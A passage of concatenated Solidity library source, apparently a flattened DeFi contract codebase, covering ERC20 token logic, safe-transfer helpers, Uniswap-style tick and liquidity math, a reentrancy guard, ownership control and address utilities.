* required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for `sender`'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from the caller. * * See {ERC20-_burn}. */ function burn(uint256 amount) public virtual { _burn(_msgSender(), amount); } /** * @dev Destroys `amount` tokens from `account`, deducting from the caller's * allowance. * * See {ERC20-_burn} and {ERC20-allowance}. * * Requirements: * * - the caller must have allowance for `accounts`'s tokens of at least * `amount`. */ function burnFrom(address account, uint256 amount) public virtual { uint256 decreasedAllowance = allowance(account, _msgSender()).sub(amount, "ERC20: burn amount exceeds allowance"); _approve(account, _msgSender(), decreasedAllowance); _burn(account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Destroys `amount` tokens from `account`.`amount` is then deducted * from the caller's allowance. * * See {_burn} and {_approve}. */ function _burnFrom(address account, uint256 amount) internal virtual { _burn(account, amount); _approve(account, _msgSender(), _allowances[account][_msgSender()].sub(amount, "ERC20: burn amount exceeds allowance")); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of `from`'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of `from`'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:using-hooks.adoc[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.11; // helper methods for interacting with ERC20 tokens and sending ETH that do not consistently return true/false library TransferHelper { function safeApprove(address token, address to, uint value) internal { // bytes4(keccak256(bytes('approve(address,uint256)'))); (bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x095ea7b3, to, value)); require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: APPROVE_FAILED'); } function safeTransfer(address token, address to, uint value) internal { // bytes4(keccak256(bytes('transfer(address,uint256)'))); (bool success, bytes memory data) = token.call(abi.encodeWithSelector(0xa9059cbb, to, value)); require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: TRANSFER_FAILED'); } function safeTransferFrom(address token, address from, address to, uint value) internal { // bytes4(keccak256(bytes('transferFrom(address,address,uint256)'))); (bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x23b872dd, from, to, value)); require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: TRANSFER_FROM_FAILED'); } function safeTransferETH(address to, uint value) internal { (bool success,) = to.call{value:value}(new bytes(0)); require(success, 'TransferHelper: ETH_TRANSFER_FAILED'); } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.11; import "./IERC20.sol"; import "../Math/SafeMath.sol"; import "../Utils/Address.sol"; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // SPDX-License-Identifier: GPL-2.0-or-later pragma solidity >=0.5.0; /// @title Math library for computing sqrt prices from ticks and vice versa /// @notice Computes sqrt price for ticks of size 1.0001, i.e. sqrt(1.0001^tick) as fixed point Q64.96 numbers. Supports /// prices between 2**-128 and 2**128 library TickMath { /// @dev The minimum tick that may be passed to #getSqrtRatioAtTick computed from log base 1.0001 of 2**-128 int24 internal constant MIN_TICK = -887272; /// @dev The maximum tick that may be passed to #getSqrtRatioAtTick computed from log base 1.0001 of 2**128 int24 internal constant MAX_TICK = -MIN_TICK; /// @dev The minimum value that can be returned from #getSqrtRatioAtTick. Equivalent to getSqrtRatioAtTick(MIN_TICK) uint160 internal constant MIN_SQRT_RATIO = 4295128739; /// @dev The maximum value that can be returned from #getSqrtRatioAtTick. Equivalent to getSqrtRatioAtTick(MAX_TICK) uint160 internal constant MAX_SQRT_RATIO = 1461446703485210103287273052203988822378723970342; /// @notice Calculates sqrt(1.0001^tick) * 2^96 /// @dev Throws if |tick| > max tick /// @param tick The input tick for the above formula /// @return sqrtPriceX96 A Fixed point Q64.96 number representing the sqrt of the ratio of the two assets (token1/token0) /// at the given tick function getSqrtRatioAtTick(int24 tick) internal pure returns (uint160 sqrtPriceX96) { uint256 absTick = tick < 0 ? uint256(-int256(tick)) : uint256(int256(tick)); require(int256(absTick) <= int256(MAX_TICK), 'T'); uint256 ratio = absTick & 0x1 != 0 ? 0xfffcb933bd6fad37aa2d162d1a594001 : 0x100000000000000000000000000000000; if (absTick & 0x2 != 0) ratio = (ratio * 0xfff97272373d413259a46990580e213a) >> 128; if (absTick & 0x4 != 0) ratio = (ratio * 0xfff2e50f5f656932ef12357cf3c7fdcc) >> 128; if (absTick & 0x8 != 0) ratio = (ratio * 0xffe5caca7e10e4e61c3624eaa0941cd0) >> 128; if (absTick & 0x10 != 0) ratio = (ratio * 0xffcb9843d60f6159c9db58835c926644) >> 128; if (absTick & 0x20 != 0) ratio = (ratio * 0xff973b41fa98c081472e6896dfb254c0) >> 128; if (absTick & 0x40 != 0) ratio = (ratio * 0xff2ea16466c96a3843ec78b326b52861) >> 128; if (absTick & 0x80 != 0) ratio = (ratio * 0xfe5dee046a99a2a811c461f1969c3053) >> 128; if (absTick & 0x100 != 0) ratio = (ratio * 0xfcbe86c7900a88aedcffc83b479aa3a4) >> 128; if (absTick & 0x200 != 0) ratio = (ratio * 0xf987a7253ac413176f2b074cf7815e54) >> 128; if (absTick & 0x400 != 0) ratio = (ratio * 0xf3392b0822b70005940c7a398e4b70f3) >> 128; if (absTick & 0x800 != 0) ratio = (ratio * 0xe7159475a2c29b7443b29c7fa6e889d9) >> 128; if (absTick & 0x1000 != 0) ratio = (ratio * 0xd097f3bdfd2022b8845ad8f792aa5825) >> 128; if (absTick & 0x2000 != 0) ratio = (ratio * 0xa9f746462d870fdf8a65dc1f90e061e5) >> 128; if (absTick & 0x4000 != 0) ratio = (ratio * 0x70d869a156d2a1b890bb3df62baf32f7) >> 128; if (absTick & 0x8000 != 0) ratio = (ratio * 0x31be135f97d08fd981231505542fcfa6) >> 128; if (absTick & 0x10000 != 0) ratio = (ratio * 0x9aa508b5b7a84e1c677de54f3e99bc9) >> 128; if (absTick & 0x20000 != 0) ratio = (ratio * 0x5d6af8dedb81196699c329225ee604) >> 128; if (absTick & 0x40000 != 0) ratio = (ratio * 0x2216e584f5fa1ea926041bedfe98) >> 128; if (absTick & 0x80000 != 0) ratio = (ratio * 0x48a170391f7dc42444e8fa2) >> 128; if (tick > 0) ratio = type(uint256).max / ratio; // this divides by 1<<32 rounding up to go from a Q128.128 to a Q128.96. // we then downcast because we know the result always fits within 160 bits due to our tick input constraint // we round up in the division so getTickAtSqrtRatio of the output price is always consistent sqrtPriceX96 = uint160((ratio >> 32) + (ratio % (1 << 32) == 0 ? 0 : 1)); } /// @notice Calculates the greatest tick value such that getRatioAtTick(tick) <= ratio /// @dev Throws in case sqrtPriceX96 < MIN_SQRT_RATIO, as MIN_SQRT_RATIO is the lowest value getRatioAtTick may /// ever return. /// @param sqrtPriceX96 The sqrt ratio for which to compute the tick as a Q64.96 /// @return tick The greatest tick for which the ratio is less than or equal to the input ratio function getTickAtSqrtRatio(uint160 sqrtPriceX96) internal pure returns (int24 tick) { // second inequality must be < because the price can never reach the price at the max tick require(sqrtPriceX96 >= MIN_SQRT_RATIO && sqrtPriceX96 < MAX_SQRT_RATIO, 'R'); uint256 ratio = uint256(sqrtPriceX96) << 32; uint256 r = ratio; uint256 msb = 0; assembly { let f := shl(7, gt(r, 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF)) msb := or(msb, f) r := shr(f, r) } assembly { let f := shl(6, gt(r, 0xFFFFFFFFFFFFFFFF)) msb := or(msb, f) r := shr(f, r) } assembly { let f := shl(5, gt(r, 0xFFFFFFFF)) msb := or(msb, f) r := shr(f, r) } assembly { let f := shl(4, gt(r, 0xFFFF)) msb := or(msb, f) r := shr(f, r) } assembly { let f := shl(3, gt(r, 0xFF)) msb := or(msb, f) r := shr(f, r) } assembly { let f := shl(2, gt(r, 0xF)) msb := or(msb, f) r := shr(f, r) } assembly { let f := shl(1, gt(r, 0x3)) msb := or(msb, f) r := shr(f, r) } assembly { let f := gt(r, 0x1) msb := or(msb, f) } if (msb >= 128) r = ratio >> (msb - 127); else r = ratio << (127 - msb); int256 log_2 = (int256(msb) - 128) << 64; assembly { r := shr(127, mul(r, r)) let f := shr(128, r) log_2 := or(log_2, shl(63, f)) r := shr(f, r) } assembly { r := shr(127, mul(r, r)) let f := shr(128, r) log_2 := or(log_2, shl(62, f)) r := shr(f, r) } assembly { r := shr(127, mul(r, r)) let f := shr(128, r) log_2 := or(log_2, shl(61, f)) r := shr(f, r) } assembly { r := shr(127, mul(r, r)) let f := shr(128, r) log_2 := or(log_2, shl(60, f)) r := shr(f, r) } assembly { r := shr(127, mul(r, r)) let f := shr(128, r) log_2 := or(log_2, shl(59, f)) r := shr(f, r) } assembly { r := shr(127, mul(r, r)) let f := shr(128, r) log_2 := or(log_2, shl(58, f)) r := shr(f, r) } assembly { r := shr(127, mul(r, r)) let f := shr(128, r) log_2 := or(log_2, shl(57, f)) r := shr(f, r) } assembly { r := shr(127, mul(r, r)) let f := shr(128, r) log_2 := or(log_2, shl(56, f)) r := shr(f, r) } assembly { r := shr(127, mul(r, r)) let f := shr(128, r) log_2 := or(log_2, shl(55, f)) r := shr(f, r) } assembly { r := shr(127, mul(r, r)) let f := shr(128, r) log_2 := or(log_2, shl(54, f)) r := shr(f, r) } assembly { r := shr(127, mul(r, r)) let f := shr(128, r) log_2 := or(log_2, shl(53, f)) r := shr(f, r) } assembly { r := shr(127, mul(r, r)) let f := shr(128, r) log_2 := or(log_2, shl(52, f)) r := shr(f, r) } assembly { r := shr(127, mul(r, r)) let f := shr(128, r) log_2 := or(log_2, shl(51, f)) r := shr(f, r) } assembly { r := shr(127, mul(r, r)) let f := shr(128, r) log_2 := or(log_2, shl(50, f)) } int256 log_sqrt10001 = log_2 * 255738958999603826347141; // 128.128 number int24 tickLow = int24((log_sqrt10001 - 3402992956809132418596140100660247210) >> 128); int24 tickHi = int24((log_sqrt10001 + 291339464771989622907027621153398088495) >> 128); tick = tickLow == tickHi ? tickLow : getSqrtRatioAtTick(tickHi) <= sqrtPriceX96 ? tickHi : tickLow; } } // SPDX-License-Identifier: GPL-2.0-or-later pragma solidity >=0.5.0; import './FullMath.sol'; import './FixedPoint96.sol'; /// @title Liquidity amount functions /// @notice Provides functions for computing liquidity amounts from token amounts and prices library LiquidityAmounts { /// @notice Downcasts uint256 to uint128 /// @param x The uint258 to be downcasted /// @return y The passed value, downcasted to uint128 function toUint128(uint256 x) private pure returns (uint128 y) { require((y = uint128(x)) == x); } /// @notice Computes the amount of liquidity received for a given amount of token0 and price range /// @dev Calculates amount0 * (sqrt(upper) * sqrt(lower)) / (sqrt(upper) - sqrt(lower)) /// @param sqrtRatioAX96 A sqrt price representing the first tick boundary /// @param sqrtRatioBX96 A sqrt price representing the second tick boundary /// @param amount0 The amount0 being sent in /// @return liquidity The amount of returned liquidity function getLiquidityForAmount0( uint160 sqrtRatioAX96, uint160 sqrtRatioBX96, uint256 amount0 ) internal pure returns (uint128 liquidity) { if (sqrtRatioAX96 > sqrtRatioBX96) (sqrtRatioAX96, sqrtRatioBX96) = (sqrtRatioBX96, sqrtRatioAX96); uint256 intermediate = FullMath.mulDiv(sqrtRatioAX96, sqrtRatioBX96, FixedPoint96.Q96); return toUint128(FullMath.mulDiv(amount0, intermediate, sqrtRatioBX96 - sqrtRatioAX96)); } /// @notice Computes the amount of liquidity received for a given amount of token1 and price range /// @dev Calculates amount1 / (sqrt(upper) - sqrt(lower)). /// @param sqrtRatioAX96 A sqrt price representing the first tick boundary /// @param sqrtRatioBX96 A sqrt price representing the second tick boundary /// @param amount1 The amount1 being sent in /// @return liquidity The amount of returned liquidity function getLiquidityForAmount1( uint160 sqrtRatioAX96, uint160 sqrtRatioBX96, uint256 amount1 ) internal pure returns (uint128 liquidity) { if (sqrtRatioAX96 > sqrtRatioBX96) (sqrtRatioAX96, sqrtRatioBX96) = (sqrtRatioBX96, sqrtRatioAX96); return toUint128(FullMath.mulDiv(amount1, FixedPoint96.Q96, sqrtRatioBX96 - sqrtRatioAX96)); } /// @notice Computes the maximum amount of liquidity received for a given amount of token0, token1, the current /// pool prices and the prices at the tick boundaries /// @param sqrtRatioX96 A sqrt price representing the current pool prices /// @param sqrtRatioAX96 A sqrt price representing the first tick boundary /// @param sqrtRatioBX96 A sqrt price representing the second tick boundary /// @param amount0 The amount of token0 being sent in /// @param amount1 The amount of token1 being sent in /// @return liquidity The maximum amount of liquidity received function getLiquidityForAmounts( uint160 sqrtRatioX96, uint160 sqrtRatioAX96, uint160 sqrtRatioBX96, uint256 amount0, uint256 amount1 ) internal pure returns (uint128 liquidity) { if (sqrtRatioAX96 > sqrtRatioBX96) (sqrtRatioAX96, sqrtRatioBX96) = (sqrtRatioBX96, sqrtRatioAX96); if (sqrtRatioX96 <= sqrtRatioAX96) { liquidity = getLiquidityForAmount0(sqrtRatioAX96, sqrtRatioBX96, amount0); } else if (sqrtRatioX96 < sqrtRatioBX96) { uint128 liquidity0 = getLiquidityForAmount0(sqrtRatioX96, sqrtRatioBX96, amount0); uint128 liquidity1 = getLiquidityForAmount1(sqrtRatioAX96, sqrtRatioX96, amount1); liquidity = liquidity0 < liquidity1 ? liquidity0 : liquidity1; } else { liquidity = getLiquidityForAmount1(sqrtRatioAX96, sqrtRatioBX96, amount1); } } /// @notice Computes the amount of token0 for a given amount of liquidity and a price range /// @param sqrtRatioAX96 A sqrt price representing the first tick boundary /// @param sqrtRatioBX96 A sqrt price representing the second tick boundary /// @param liquidity The liquidity being valued /// @return amount0 The amount of token0 function getAmount0ForLiquidity( uint160 sqrtRatioAX96, uint160 sqrtRatioBX96, uint128 liquidity ) internal pure returns (uint256 amount0) { if (sqrtRatioAX96 > sqrtRatioBX96) (sqrtRatioAX96, sqrtRatioBX96) = (sqrtRatioBX96, sqrtRatioAX96); return FullMath.mulDiv( uint256(liquidity) << FixedPoint96.RESOLUTION, sqrtRatioBX96 - sqrtRatioAX96, sqrtRatioBX96 ) / sqrtRatioAX96; } /// @notice Computes the amount of token1 for a given amount of liquidity and a price range /// @param sqrtRatioAX96 A sqrt price representing the first tick boundary /// @param sqrtRatioBX96 A sqrt price representing the second tick boundary /// @param liquidity The liquidity being valued /// @return amount1 The amount of token1 function getAmount1ForLiquidity( uint160 sqrtRatioAX96, uint160 sqrtRatioBX96, uint128 liquidity ) internal pure returns (uint256 amount1) { if (sqrtRatioAX96 > sqrtRatioBX96) (sqrtRatioAX96, sqrtRatioBX96) = (sqrtRatioBX96, sqrtRatioAX96); return FullMath.mulDiv(liquidity, sqrtRatioBX96 - sqrtRatioAX96, FixedPoint96.Q96); } /// @notice Computes the token0 and token1 value for a given amount of liquidity, the current /// pool prices and the prices at the tick boundaries /// @param sqrtRatioX96 A sqrt price representing the current pool prices /// @param sqrtRatioAX96 A sqrt price representing the first tick boundary /// @param sqrtRatioBX96 A sqrt price representing the second tick boundary /// @param liquidity The liquidity being valued /// @return amount0 The amount of token0 /// @return amount1 The amount of token1 function getAmountsForLiquidity( uint160 sqrtRatioX96, uint160 sqrtRatioAX96, uint160 sqrtRatioBX96, uint128 liquidity ) internal pure returns (uint256 amount0, uint256 amount1) { if (sqrtRatioAX96 > sqrtRatioBX96) (sqrtRatioAX96, sqrtRatioBX96) = (sqrtRatioBX96, sqrtRatioAX96); if (sqrtRatioX96 <= sqrtRatioAX96) { amount0 = getAmount0ForLiquidity(sqrtRatioAX96, sqrtRatioBX96, liquidity); } else if (sqrtRatioX96 < sqrtRatioBX96) { amount0 = getAmount0ForLiquidity(sqrtRatioX96, sqrtRatioBX96, liquidity); amount1 = getAmount1ForLiquidity(sqrtRatioAX96, sqrtRatioX96, liquidity); } else { amount1 = getAmount1ForLiquidity(sqrtRatioAX96, sqrtRatioBX96, liquidity); } } } // SPDX-License-Identifier: GPL-2.0-or-later pragma solidity >=0.6.11; pragma abicoder v2; import '../ERC721/IERC721.sol'; // Originally INonfungiblePositionManager interface IUniswapV3PositionsNFT is IERC721 { struct CollectParams { uint256 tokenId; address recipient; uint128 amount0Max; uint128 amount1Max; } /// @notice Returns the position information associated with a given token ID. /// @dev Throws if the token ID is not valid. /// @param tokenId The ID of the token that represents the position /// @return nonce The nonce for permits /// @return operator The address that is approved for spending /// @return token0 The address of the token0 for a specific pool /// @return token1 The address of the token1 for a specific pool /// @return fee The fee associated with the pool /// @return tickLower The lower end of the tick range for the position /// @return tickUpper The higher end of the tick range for the position /// @return liquidity The liquidity of the position /// @return feeGrowthInside0LastX128 The fee growth of token0 as of the last action on the individual position /// @return feeGrowthInside1LastX128 The fee growth of token1 as of the last action on the individual position /// @return tokensOwed0 The uncollected amount of token0 owed to the position as of the last computation /// @return tokensOwed1 The uncollected amount of token1 owed to the position as of the last computation function positions(uint256 tokenId) external view returns ( uint96 nonce, // [0] address operator, // [1] address token0, // [2] address token1, // [3] uint24 fee, // [4] int24 tickLower, // [5] int24 tickUpper, // [6] uint128 liquidity, // [7] uint256 feeGrowthInside0LastX128, // [8] uint256 feeGrowthInside1LastX128, // [9] uint128 tokensOwed0, // [10] uint128 tokensOwed1 // [11] ); /// @notice Collects up to a maximum amount of fees owed to a specific position to the recipient /// @param params tokenId The ID of the NFT for which tokens are being collected, /// recipient The account that should receive the tokens, /// amount0Max The maximum amount of token0 to collect, /// amount1Max The maximum amount of token1 to collect /// @return amount0 The amount of fees collected in token0 /// @return amount1 The amount of fees collected in token1 function collect(CollectParams calldata params) external payable returns (uint256 amount0, uint256 amount1); } // SPDX-License-Identifier: MIT pragma solidity >=0.6.11; /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. */ abstract contract ReentrancyGuard { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; constructor () internal { _status = _NOT_ENTERED; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and make it call a * `private` function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.11; // https://docs.synthetix.io/contracts/Owned contract Owned { address public owner; address public nominatedOwner; constructor(address _owner) public { require(_owner != address(0), "Owner address cannot be 0"); owner = _owner; emit OwnerChanged(address(0), _owner); } function nominateNewOwner(address _owner) external onlyOwner { nominatedOwner = _owner; emit OwnerNominated(_owner); } function acceptOwnership() external { require(msg.sender == nominatedOwner, "You must be nominated before you can accept ownership"); emit OwnerChanged(owner, nominatedOwner); owner = nominatedOwner; nominatedOwner = address(0); } modifier onlyOwner { require(msg.sender == owner, "Only the contract owner may perform this action"); _; } event OwnerNominated(address newOwner); event OwnerChanged(address oldOwner, address newOwner); } // SPDX-License-Identifier: MIT pragma solidity >=0.6.11; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return payable(msg.sender); } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.11; import "../Common/Context.sol"; import "../Math/SafeMath.sol"; /** * @dev Interface of the ERC20 standard as defined in the EIP. Does not include * the optional functions; to access them see {ERC20Detailed}. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT pragma solidity >=0.6.11 <0.9.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as 